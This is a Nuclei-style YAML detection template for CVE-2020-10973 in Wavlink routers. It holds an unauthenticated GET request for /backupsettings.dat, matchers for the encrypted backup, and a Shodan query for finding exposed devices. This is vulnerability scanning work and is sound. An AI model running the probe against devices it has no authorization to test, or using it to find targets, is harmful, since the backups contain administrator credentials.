54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: CVE-2020-10973
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info:
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name: WAVLINK - Access Control
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author: arafatansari
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severity: high
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description: |
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Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
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remediation: |
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Apply the latest firmware update provided by the vendor to fix the access control issue.
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reference:
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- https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
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- https://github.com/sudo-jtcsec/Nyra
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- https://nvd.nist.gov/vuln/detail/CVE-2020-10973
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- https://github.com/Roni-Carta/nyra
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- https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973-affected_devices
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2020-10973
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cwe-id: CWE-306
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epss-score: 0.04225
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epss-percentile: 0.91233
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cpe: cpe:2.3:o:wavlink:wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: wavlink
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product: wn530hg4_firmware
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shodan-query: http.html:"Wavlink"
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tags: cve,cve2020,exposure,wavlink
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http:
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- raw:
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- |
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GET /backupsettings.dat HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'Salted__'
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- type: word
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part: header
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words:
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- application/octet-stream
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- type: status
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status:
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- 200
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